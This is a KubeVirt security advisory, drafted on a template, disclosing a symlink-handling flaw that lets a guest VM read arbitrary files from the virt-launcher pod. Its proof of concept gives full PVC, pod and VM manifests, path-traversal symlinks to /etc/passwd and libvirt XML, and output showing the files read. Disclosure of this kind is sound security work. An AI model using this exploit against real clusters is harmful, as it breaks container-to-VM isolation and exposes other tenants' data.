Summary

_Short summary of the problem. Make the impact and severity as clear as possible.

Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the virt-launcher pod. This is due to erroneous handling of symlinks defined within a PVC.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

A vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod’s file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod’s file system. Since libvirt can treat regular files as block devices, any file on the pod’s file system that is symlinked in this way can be mounted into the VM and subsequently read.

Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod’s file system or on a mounted PVC from within the guest VM.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:

# The YAML definition of two PVCs that the attacker has access to
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: pvc-arbitrary-container-read-1
spec:
  accessModes:
    - ReadWriteMany # suitable for migration (:= RWX)
  resources:
    requests:
      storage: 500Mi
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: pvc-arbitrary-container-read-2
spec:
  accessModes:
    - ReadWriteMany # suitable for migration (:= RWX)
  resources:
    requests:
      storage: 500Mi
---
# The attacker-controlled container used to create the symlinks in the above PVCs
apiVersion: v1
kind: Pod
metadata:
  name: dual-pvc-pod
spec:
  containers:
  - name: app-container
    image: alpine
    command: ["/some-vulnerable-app"]
    volumeMounts:
    - name: pvc-volume-one
      mountPath: /mnt/data1
    - name: pvc-volume-two
      mountPath: /mnt/data2
  volumes:
  - name: pvc-volume-one
    persistentVolumeClaim:
      claimName: pvc-arbitrary-container-read-1
  - name: pvc-volume-two
    persistentVolumeClaim:
      claimName: pvc-arbitrary-container-read-2

By default, Minikube’s storage controller (hostpath-provisioner) will allocate the claim as a directory on the host node (HostPath). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:

# Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.

attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img
attacker@dual-pvc-pod:/mnt/data1 $ls -l
lrwxrwxrwx    1 root     root            85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml

# With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM
attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img 
attacker@dual-pvc-pod:/mnt/data2 $ls -l
lrwxrwxrwx    1 root     root            34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd

Of course, these links could potentially be broken as the files, especially default_arbitrary-container-read.xml, could not exist on the dual-pvc-pod pod’s file system. The attacker then deploy the following VM:

# arbitrary-container-read.yaml
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
  name: arbitrary-container-read
spec:
  runStrategy: Always
  template:
    metadata:
      labels:
        kubevirt.io/size: small
        kubevirt.io/domain: arbitrary-container-read
    spec:
      domain:
        devices:
          disks:
            - name: containerdisk
              disk:
                bus: virtio
            - name: pvc-1
              disk:
                bus: virtio
            - name: pvc-2
              disk:
                bus: virtio
            - name: cloudinitdisk
              disk:
                bus: virtio
          interfaces:
          - name: default
            masquerade: {}
        resources:
          requests:
            memory: 64M
      networks:
      - name: default
        pod: {}
      volumes:
        - name: containerdisk
          containerDisk:
            image: quay.io/kubevirt/cirros-container-disk-demo
        - name: pvc-1
          persistentVolumeClaim:
           claimName: pvc-arbitrary-container-read-1
        - name: pvc-2
          persistentVolumeClaim:
           claimName: pvc-arbitrary-container-read-2
        - name: cloudinitdisk
          cloudInitNoCloud:
            userDataBase64: SGkuXG4=

The two PVCs will be mounted as volumes in “filesystem” mode:

From the documentation of the different volume modes, one can infer that if the backing disk.img is not owned by the unprivileged user with UID 107, the VM should fail to mount it. In addition, it’s expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of virt-launcher is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the /etc/passwd and default_migration.xml files from the virt-launcher pod’s file system:

# Deploy the VM manifest
operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml
virtualmachine.kubevirt.io/arbitrary-container-read created
# Observe the deployment status
operator@minikube:~$ kubectl get vmis
NAME                       AGE   PHASE     IP           NODENAME       READY
arbitrary-container-read   80s   Running   10.244.1.9   minikube-m02   True
# Initiate a console connection to the running VM
operator@minikube:~$ virtctl console arbitrary-container-read

# Within the `arbitrary-container-read` VM, inspect the available block devices
root@arbitrary-container-read:~$ lsblk
NAME    MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
vda     253:0    0   44M  0 disk
|-vda1  253:1    0   35M  0 part /
-vda15 253:15   0    8M  0 part
vdb     253:16   0   20K  0 disk
vdc     253:32   0  512B  0 disk
vdd     253:48   0    1M  0 disk
# Inspect the mounted /etc/passwd of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdc
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash
# Inspect the mounted `default_migration.xml` of the `virt-launcher` pod
root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20
<!--
WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE
OVERWRITTEN AND LOST. Changes to this xml configuration should be made using:
  virsh edit default_arbitrary-container-read
or other application using the libvirt API.
-->
<domstatus state='paused' reason='starting up' pid='80'>
  <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/>
  <vcpus>
  </vcpus>
  <qemuCaps>
    <flag name='hda-duplex'/>
    <flag name='piix3-usb-uhci'/>
    <flag name='piix4-usb-uhci'/>
    <flag name='usb-ehci'/>
    <flag name='ich9-usb-ehci1'/>
    <flag name='usb-redir'/>
    <flag name='usb-hub'/>
    <flag name='ich9-ahci'/>

operator@minikube:~$ kubectl get pods
NAME                                           READY   STATUS    RESTARTS   AGE
dual-pvc-pod                                   1/1     Running   0          20m
virt-launcher-arbitrary-container-read-tn4mb   3/3     Running   0          15m
# Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd
qemu:x:107:107:user:/home/qemu:/bin/bash
root:x:0:0:root:/root:/bin/bash 

# Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod 
operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd
-rw-r--r--. 1 qemu qemu 73 Jan  1  1970 /etc/passwd

Impact

What kind of vulnerability is it? Who is impacted?

This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.